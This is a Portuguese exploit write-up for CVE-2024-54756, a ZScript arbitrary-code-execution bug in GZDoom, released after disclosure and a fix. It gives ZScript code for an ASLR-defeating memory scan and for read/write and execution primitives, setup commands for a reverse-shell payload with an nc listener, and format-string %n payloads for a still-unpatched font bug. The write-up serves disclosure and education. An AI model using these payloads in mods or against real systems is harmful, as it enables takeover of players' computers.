
Prova de conceito para CVE-2024-54756, uma vulnerabilidade que encontrei no motor de script ZScript do GZDoom.
Uma prova de conceito para uma vulnerabilidade de execução arbitrária de código que encontrei na funcionalidade ZScript do GZDoom (https://github.com/zdoom/gzdoom). Um atacante pode compartilhar um arquivo PK3 contendo um arquivo fonte ZScript malicioso e obter acesso ao PC da vítima.
Muito obrigado a Rachael e Agent Ash na equipe de desenvolvimento do GZDoom por suas respostas rápidas, e a eles e aos outros desenvolvedores do GZDoom por abordarem isso rapidamente!
Confirmado para funcionar nas versões 4.13.0 e 4.13.1, e provavelmente funciona em versões anteriores também. Cuidado com qualquer pessoa que lhe diga para fazer downgrade para a versão 4.13.1 ou inferior para poder jogar o WAD deles.
Este PoC funciona apenas no Linux, mas a vulnerabilidade provavelmente existe também no Windows. Não testado no ZDoom ou LZDoom, mas a vulnerabilidade pode existir também neles.
A vulnerabilidade foi divulgada aos desenvolvedores antes da publicação deste PoC e não deve mais estar presente na versão 4.13.2. Até onde sei, esta versão não inclui nenhuma mudança prática que quebre algo.
Este PoC é feito e lançado para fins educacionais, para que desenvolvedores de engines de jogos/script possam entender como vulnerabilidades podem surgir e para que jogadores possam entender como um mod de jogo malicioso pode se parecer. Não sou responsável por qualquer uso indevido deste PoC. Por favor, não use isso para comprometer os PCs de seus colegas jogadores; é ilegal (você não deveria precisar que eu lhe diga isso), e é especialmente uma atitude baixa assumir o controle do computador de alguém através de um videogame.
Para usar este PoC, baixe este repositório e crie um arquivo PK3 (que é na verdade um arquivo zip com a extensão .pk3) contendo zscript.zs e MAPINFO:
git clone https://github.com/Chainmanner/GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
cd GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC
zip PoC.pk3 zscript.zs MAPINFO
O payload padrão é executar um reverse shell para localhost na porta 1337. Inicie o listener:
nc -nvlp 1337
Execute o PoC assim:
gzdoom -iwad <your-doom-or-freedoom-wad> -file PoC.pk3
Se funcionou, você agora deve ter um reverse shell para si mesmo.
Este PoC é apenas para Linux. Pode não funcionar na primeira tentativa; apenas tente novamente até funcionar.
NOTA: Este é meu primeiro writeup de exploit e ainda estou trabalhando em minha habilidade de fazer writeups de baixo nível. Além disso, fiz grande parte da minha depuração com GDB e, infelizmente, não tive a boa sensação de salvar alguns dumps de memória para ilustrar melhor minha explicação. Desculpe! Meu próximo writeup será melhor, prometo.
GZDoom é um source port de Doom projetado para desempenho e extensibilidade. Graças às suas poderosas características, muitos WADs, mods e até conversões totais comerciais incríveis foram feitos. Infelizmente, onde há complexidade, há oportunidade para vulnerabilidades, e neste caso havia duas presentes no mecanismo de script ZScript que permitiram que uma cadeia de exploração completa surgisse.
Este ataque derrota o ASLR e contorna a necessidade de derrotar stack canaries. Acho que o CFI do Clang ou shadow stacks não teriam ajudado aqui.
A primeira e mais importante vulnerabilidade estava em como arrays enormes eram tratados. Se você alocar um array pequeno o suficiente, a região de memória alocada tende a ser preenchida com zeros e está devidamente separada de outros objetos; nenhuma informação pode ser obtida da leitura de memória não inicializada, e nenhum objeto se sobrepõe ao array. No entanto, se você alocar um array enorme - digamos, 1073741823 palavras de 32 bits ou mais - você será capaz de ler e escrever até 4 GiB de memória potencialmente não inicializada a partir do ponto de partida do array, permitindo que o atacante modifique diretamente outros objetos e derrote o ASLR encontrando endereços com offsets conhecidos. Além disso, quaisquer outros arrays criados após este ponto se sobreporão ao enorme.
A segunda vulnerabilidade estava nas permissões do mapa de memória. Para um desempenho mais rápido, o código ZScript é compilado JIT para bytecode x86 ou x86-64 sempre que possível. Para que isso aconteça, o código deve ser escrito em uma região de memória, e essa região deve ser executável. No entanto, a regra W^X afirma que uma região deve ser ou gravável ou executável, mas não ambas. Se ambas forem aplicadas ao mesmo tempo (em vez de tornar a região gravável, escrever o código e depois torná-la executável e não gravável), então um atacante com uma primitiva de escrita arbitrária poderá escalá-la para uma execução arbitrária de código; eles podem escrever shellcode e pular para ele, por exemplo, modificando o endereço de retorno na pilha (assumindo que o atacante não tenha uma primitiva de execução arbitrária). Se você observar os mapeamentos de memória do GZDoom quando ele está em execução, pode ver várias regiões RWX:
7fcd19700000-7fcd19800000 rwxp 00000000 00:00 0
7fcd1a100000-7fcd1a200000 rwxp 00000000 00:00 0
7fcd1eb00000-7fcd1ec00000 rwxp 00000000 00:00 0
Portanto, se primitivas de escrita arbitrária e execução arbitrária estiverem disponíveis, e o atacante souber onde qualquer região RWX está presente, eles podem escrever shellcode arbitrário e executá-lo. Tornar essas regiões RW- ao escrever o código compilado JIT e depois R-X quando pronto para executar interromperia este PoC, mas não impediria um atacante de obter execução de código, por exemplo, modificando dados na pilha (ROP) ou heap.
Além disso, há um gadget útil. Lembra como ao alocar um array enorme, quaisquer outros arrays criados depois dele se sobrepõem? Isso inclui arrays de ponteiros de objetos. Assim como objetos C++, os objetos ZScript podem conter variáveis e ponteiros de função. Suponha que temos este objeto:
class WeirdObject
{
uint one;
uint two;
uint three;
uint four;
Function<clearscope void()> funcptr;
}
Se criarmos um array contendo um ponteiro para uma instância de WeirdObject, então o atacante pode mudar o ponteiro para onde quiser usando o array enorme e alterar os dados apontados acessando os campos do objeto, nos dando uma primitiva de leitura/escrita arbitrária indo além do heap. Ponteiros em ZScript são verificados para garantir que não sejam nulos, mas não para garantir que sejam válidos.
A presença de um ponteiro de função também nos dá uma primitiva de execução arbitrária; isso, no entanto, é um pouco menos direto, exigindo a criação de um VMFunction falso para satisfazer a máquina virtual. Assim que uma chamada a uma função ZScript é introduzida no código do exploit, esse código não é mais compilado JIT. Ainda funciona, mas se torna um pouco mais complicado de depurar e explorar. Pode haver uma maneira melhor de fazer esta parte, mas não estudei os internos do GZDoom suficientemente bem para conhecê-la.
Uma coisa a notar: WeirdObject tem variáveis membro herdadas, então o primeiro membro começa no offset 0x28.
Então agora, temos as seguintes ferramentas:
Como as encadeamos para fazer um exploit?
Primeiro, como o ASLR está ativado, precisamos identificar onde uma região RWX está presente. Qualquer uma serve. A parte do heap disponível para o array enorme contém endereços apontando para funções dentro de uma região RWX, mas também contém endereços apontando para outras regiões; como discriminamos? Lembre-se que no Linux, o ASLR tem 28 bits de entropia (às vezes menos!), o que significa que, embora bits da máscara 0x7fffffe00000 em um endereço sejam aleatórios, os bits 0x0000001fffff serão estáticos. Então, com o ASLR desativado, vamos supor que temos as seguintes regiões RWX:
[0x7ffff2f00000, 0x7ffff3000000)
[0x7ffff3900000, 0x7ffff3a00000)
[0x7ffff4300000, 0x7ffff4400000)
Então podemos usar o seguinte código ZScript para imprimir ponteiros para funções ZScript compiladas JIT dentro das regiões RWX:
uint u32pBFA9000[1073741823];
uint u32RWX_L;
uint u32RWX_H;
for (i = 0; i < (1073741823 / 2); i += 2)
{
u32RWX_L = u32pBFA9000[i];
u32RWX_H = u32pBFA9000[i+1];
if ((u32RWX_H & 0xffff8000) == 0)
{
if ((u32RWX_L & 0xffe00000) == 0xf2e00000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf3800000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
if ((u32RWX_L & 0xffe00000) == 0xf4200000)
{
Console.Printf("0x%x%08x", u32RWX_H, u32RWX_L);
}
}
}
Obtenha os offsets aplicando AND nos resultados impressos com 0x1fffff, e você pode usar esses offsets para identificar ponteiros para regiões RWX. Quanto mais offsets você conhecer, maiores as chances de sucesso do exploit.
Em seguida, precisamos preparar a primitiva de execução arbitrária. Fazemos isso modificando o ponteiro de função em um objeto gadget, como o WeirdObject declarado acima, usando uma primitiva de escrita arbitrária. Após u32pBFA9000 ser declarado, comece criando os objetos gadget de escrita arbitrária e execução:
WeirdObject ppGadgetObjects[2];
ppGadgetObjects[0] = New("WeirdObject"); // Ponteiro de escrita arbitrária.
ppGadgetObjects[1] = New("WeirdObject"); // Objeto de execução arbitrária.
ppGadgetObjects se sobrepõe a u32pBFA9000 bem no início, e lembre-se que os membros específicos de WeirdObject começam no offset 0x28. A primitiva de escrita arbitrária se parece com isso, onde TARGET_ADDR é o endereço de destino da escrita, QWORD é o inteiro de 64 bits a ser escrito, e _H/_L indicam os 32 bits alto e baixo de um int de 64 bits, respectivamente:
u32pBFA9000[0] = (TARGET_ADDR_L-0x28);
u32pBFA9000[1] = TARGET_ADDR_H;
ppGadgetObjects[0].one = QWORD_L;
ppGadgetObjects[0].two = QWORD_H;
Admito que não sei o suficiente sobre como os ponteiros de função do ZScript funcionam e esta parte ainda acho difícil de explicar, mas tentarei o meu melhor para explicar de qualquer forma. Desculpe se eu te confundir mais.
Eu realmente deveria escrever um diagrama para isso, mas agora não estou com vontade de fazer arte ASCII. Veja o código fonte do exploit para ver como o acima se parece.
Uma vez resolvido o acima, podemos então modificar o ponteiro de função no objeto gadget. Quando o chamarmos, ele executará nosso shellcode assim que for escrito.
O último passo é escrever o próprio shellcode. Como este PoC chama um comando de shell, algumas strings ("/bin/bash", "-c", a string do comando) precisam ser escritas também. Esta parte pode ser fácil ou difícil, dependendo do que você pretende executar.
Quando tudo isso for feito, você chama a função apontada pelo WeirdObject do gadget de execução, e agora você executou seu próprio shellcode.
Encontrei algumas vulnerabilidades adicionais, mas não consegui encontrar uma forma de explorá-las e dar uma cadeia ACE completa. A vulnerabilidade de estouro de pilha strcpy() foi corrigida na versão 4.13.2. A vulnerabilidade de string de formato mysnprintf() não foi corrigida até agora, mas boa sorte se você for tentar explorá-la.
Há uma vulnerabilidade de string de formato (duas, na verdade) no construtor FFont em common/fonts/font.cpp:
[...]
if (nametemplate != nullptr)
{
if (!iwadonly)
{
for (i = 0; i < lcount; i++)
{
int position = lfirst + i;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
lump = TexMan.CheckForTexture(buffer, ETextureType::MiscPatch);
[...]
}
}
else
{
FGameTexture *texs[256] = {};
if (lcount > 256 - start) lcount = 256 - start;
for (i = 0; i < lcount; i++)
{
TArray<FTextureID> array;
mysnprintf(buffer, countof(buffer), nametemplate, i + start);
TexMan.ListTextures(buffer, array, true);
[...]
}
[...]
}
[...]
}
[...]
O argumento TEMPLATE de uma entrada no lump FONTDEFS é passado diretamente para mysnprintf(). Isso significa que pode-se ter uma entrada como esta que tenta carregar uma fonte baseada em variáveis da pilha:
EVILFONT
{
TEMPLATE LOL%hhx
}
Ou uma entrada que escreve o número de caracteres escritos em algum lugar na pilha, causando uma queda:
EVILFONT
{
TEMPLATE ----AAAAAAAA%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%hhx%n
}
O fato de a saída ser limitada não importa; os símbolos de porcentagem serão analisados independentemente do comprimento máximo.
mysnprintf() é uma implementação personalizada e de domínio público de snprintf() projetada para desempenho em detrimento da flexibilidade. Explorá-la é muito mais difícil do que a implementação padrão da libc. Por exemplo, usando %n, você só pode escrever palavras de 32 bits e não pode escrever elementos específicos da pilha usando %<num>$n.
Há também uma chamada arriscada para strcpy() em LevelStatEntry() em gamedata/statistics.cpp cuja fonte pode ser maior que o destino. A função:
static void LevelStatEntry(FSessionStatistics *es, const char *level, const char *text, int playtime)
{
FLevelStatistics s;
time_t clock;
struct tm *lt;
time (&clock);
lt = localtime (&clock);
strcpy(s.name, level);
strcpy(s.info, text);
s.timeneeded=playtime;
es->levelstats.Push(s);
}
A struct FLevelStatistics, alocada na pilha, se parece com isso:
struct FLevelStatistics
{
char info[60];
short skill;
short playerclass;
char name[24];
int timeneeded;
};
E LevelStatEntry() é chamada assim, usando LevelData.Levelname - que é do tipo std::string - como argumento:
[...]
for(unsigned i = 0; i < LevelData.Size(); i++)
{
FString lsection = LevelData[i].Levelname;
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
lsection.ToUpper();
infostring.Format("%4d/%4d, %4d/%4d, %3d/%3d",
LevelData[i].killcount, LevelData[i].totalkills, LevelData[i].itemcount, LevelData[i].totalitems, LevelData[i].secretcount, LevelData[i].totalsecrets);
LevelStatEntry(es, lsection.GetChars(), infostring.GetChars(), LevelData[i].leveltime);
^^^^^^^^^^^^^^^^^^^
}
SaveStatistics(statfile, EpisodeStatistics);
[...]
Há toda uma cadeia de outras chamadas necessárias para chegar a este ponto, começando de FLevelLocals::ChangeLevel() em g_level.cpp, mas não vou me preocupar em mostrá-la aqui. Direi que ao longo da cadeia de execução para chegar aqui, não há verificações nem limites contra o comprimento de LevelData.Levelname.
Em um sistema moderno, isso não deve ser explorável; os stack canaries impedirão qualquer tentativa de estouro de pilha, e o ASLR impedirá que o usuário saiba para onde retornar. Além disso, você só obtém um gadget: sobrescrever o endereço de retorno ao sair de LevelStatEntry(). Em sistemas mais antigos, no entanto, essas defesas podem não estar disponíveis, e talvez o código ZScript compilado JIT possa fornecer gadgets para exploração.